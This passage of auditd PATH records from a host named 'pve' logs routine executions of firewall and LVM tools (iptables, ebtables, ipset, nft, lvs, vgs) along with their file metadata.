ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455351,"@rawstring":"node=pve type=PATH msg=audit(1781964455.351:61101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455351,"@rawstring":"node=pve type=PATH msg=audit(1781964455.351:61101): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455346,"@rawstring":"node=pve type=PATH msg=audit(1781964455.346:61099): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455346,"@rawstring":"node=pve type=PATH msg=audit(1781964455.346:61099): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455340,"@rawstring":"node=pve type=PATH msg=audit(1781964455.340:61098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455340,"@rawstring":"node=pve type=PATH msg=audit(1781964455.340:61098): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455335,"@rawstring":"node=pve type=PATH msg=audit(1781964455.335:61097): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455335,"@rawstring":"node=pve type=PATH msg=audit(1781964455.335:61097): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455330,"@rawstring":"node=pve type=PATH msg=audit(1781964455.330:61096): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455330,"@rawstring":"node=pve type=PATH msg=audit(1781964455.330:61096): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455325,"@rawstring":"node=pve type=PATH msg=audit(1781964455.325:61095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455325,"@rawstring":"node=pve type=PATH msg=audit(1781964455.325:61095): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455320,"@rawstring":"node=pve type=PATH msg=audit(1781964455.320:61094): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455320,"@rawstring":"node=pve type=PATH msg=audit(1781964455.320:61094): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455313,"@rawstring":"node=pve type=PATH msg=audit(1781964455.313:61093): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455313,"@rawstring":"node=pve type=PATH msg=audit(1781964455.313:61093): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455307,"@rawstring":"node=pve type=PATH msg=audit(1781964455.307:61092): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455307,"@rawstring":"node=pve type=PATH msg=audit(1781964455.307:61092): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455303,"@rawstring":"node=pve type=PATH msg=audit(1781964455.303:61091): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455303,"@rawstring":"node=pve type=PATH msg=audit(1781964455.303:61091): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455299,"@rawstring":"node=pve type=PATH msg=audit(1781964455.299:61090): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455299,"@rawstring":"node=pve type=PATH msg=audit(1781964455.299:61090): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455299,"@rawstring":"node=pve type=PATH msg=audit(1781964455.299:61089): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455299,"@rawstring":"node=pve type=PATH msg=audit(1781964455.299:61089): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455299,"@rawstring":"node=pve type=PATH msg=audit(1781964455.299:61088): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455294,"@rawstring":"node=pve type=PATH msg=audit(1781964455.294:61087): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455294,"@rawstring":"node=pve type=PATH msg=audit(1781964455.294:61087): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455294,"@rawstring":"node=pve type=PATH msg=audit(1781964455.294:61087): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455286,"@rawstring":"node=pve type=PATH msg=audit(1781964455.286:61086): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455286,"@rawstring":"node=pve type=PATH msg=audit(1781964455.286:61086): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455278,"@rawstring":"node=pve type=PATH msg=audit(1781964455.278:61085): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455278,"@rawstring":"node=pve type=PATH msg=audit(1781964455.278:61085): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455274,"@rawstring":"node=pve type=PATH msg=audit(1781964455.274:61084): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455274,"@rawstring":"node=pve type=PATH msg=audit(1781964455.274:61084): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455267,"@rawstring":"node=pve type=PATH msg=audit(1781964455.267:61083): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455267,"@rawstring":"node=pve type=PATH msg=audit(1781964455.267:61083): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455260,"@rawstring":"node=pve type=PATH msg=audit(1781964455.260:61082): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455260,"@rawstring":"node=pve type=PATH msg=audit(1781964455.260:61082): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454431,"@rawstring":"node=pve type=PATH msg=audit(1781964454.431:61081): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454431,"@rawstring":"node=pve type=PATH msg=audit(1781964454.431:61081): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454431,"@rawstring":"node=pve type=PATH msg=audit(1781964454.431:61080): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454431,"@rawstring":"node=pve type=PATH msg=audit(1781964454.431:61079): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454423,"@rawstring":"node=pve type=PATH msg=audit(1781964454.423:61077): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454423,"@rawstring":"node=pve type=PATH msg=audit(1781964454.423:61077): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454421,"@rawstring":"node=pve type=PATH msg=audit(1781964454.421:61078): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454421,"@rawstring":"node=pve type=PATH msg=audit(1781964454.421:61078): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454423,"@rawstring":"node=pve type=PATH msg=audit(1781964454.423:61076): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454423,"@rawstring":"node=pve type=PATH msg=audit(1781964454.423:61075): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454394,"@rawstring":"node=pve type=PATH msg=audit(1781964454.394:61074): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964454394,"@rawstring":"node=pve type=PATH msg=audit(1781964454.394:61074): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964449412,"@rawstring":"node=pve type=PATH msg=audit(1781964449.412:61073): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964449412,"@rawstring":"node=pve type=PATH msg=audit(1781964449.412:61073): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964449412,"@rawstring":"node=pve type=PATH msg=audit(1781964449.412:61072): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964449412,"@rawstring":"node=pve type=PATH msg=audit(1781964449.412:61071): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964449405,"@rawstring":"node=pve type=PATH msg=audit(1781964449.405:61070): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964449405,"@rawstring":"node=pve type=PATH msg=audit(1781964449.405:61070): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964449405,"@rawstring":"node=pve type=PATH msg=audit(1781964449.405:61069): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964449405,"@rawstring":"node=pve type=PATH msg=audit(1781964449.405:61068): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445248,"@rawstring":"node=pve type=PATH msg=audit(1781964445.248:61067): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445248,"@rawstring":"node=pve type=PATH msg=audit(1781964445.248:61067): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445245,"@rawstring":"node=pve type=PATH msg=audit(1781964445.245:61066): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445245,"@rawstring":"node=pve type=PATH msg=audit(1781964445.245:61066): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445244,"@rawstring":"node=pve type=PATH msg=audit(1781964445.244:61065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445244,"@rawstring":"node=pve type=PATH msg=audit(1781964445.244:61065): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445244,"@rawstring":"node=pve type=PATH msg=audit(1781964445.244:61064): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445239,"@rawstring":"node=pve type=PATH msg=audit(1781964445.239:61063): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445239,"@rawstring":"node=pve type=PATH msg=audit(1781964445.239:61063): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445239,"@rawstring":"node=pve type=PATH msg=audit(1781964445.239:61063): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445232,"@rawstring":"node=pve type=PATH msg=audit(1781964445.232:61062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445232,"@rawstring":"node=pve type=PATH msg=audit(1781964445.232:61062): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445225,"@rawstring":"node=pve type=PATH msg=audit(1781964445.225:61061): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445225,"@rawstring":"node=pve type=PATH msg=audit(1781964445.225:61061): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445217,"@rawstring":"node=pve type=PATH msg=audit(1781964445.217:61060): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445217,"@rawstring":"node=pve type=PATH msg=audit(1781964445.217:61060): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445210,"@rawstring":"node=pve type=PATH msg=audit(1781964445.210:61059): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445210,"@rawstring":"node=pve type=PATH msg=audit(1781964445.210:61059): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445205,"@rawstring":"node=pve type=PATH msg=audit(1781964445.205:61057): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445205,"@rawstring":"node=pve type=PATH msg=audit(1781964445.205:61057): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445200,"@rawstring":"node=pve type=PATH msg=audit(1781964445.200:61056): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445200,"@rawstring":"node=pve type=PATH msg=audit(1781964445.200:61056): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445195,"@rawstring":"node=pve type=PATH msg=audit(1781964445.195:61055): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445195,"@rawstring":"node=pve type=PATH msg=audit(1781964445.195:61055): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445189,"@rawstring":"node=pve type=PATH msg=audit(1781964445.189:61054): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445189,"@rawstring":"node=pve type=PATH msg=audit(1781964445.189:61054): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445180,"@rawstring":"node=pve type=PATH msg=audit(1781964445.180:61053): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445180,"@rawstring":"node=pve type=PATH msg=audit(1781964445.180:61053): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445175,"@rawstring":"node=pve type=PATH msg=audit(1781964445.175:61052): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445175,"@rawstring":"node=pve type=PATH msg=audit(1781964445.175:61052): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445168,"@rawstring":"node=pve type=PATH msg=audit(1781964445.168:61051): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445168,"@rawstring":"node=pve type=PATH msg=audit(1781964445.168:61051): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445162,"@rawstring":"node=pve type=PATH msg=audit(1781964445.162:61050): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445162,"@rawstring":"node=pve type=PATH msg=audit(1781964445.162:61050): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445159,"@rawstring":"node=pve type=PATH msg=audit(1781964445.159:61049): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445159,"@rawstring":"node=pve type=PATH msg=audit(1781964445.159:61049): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 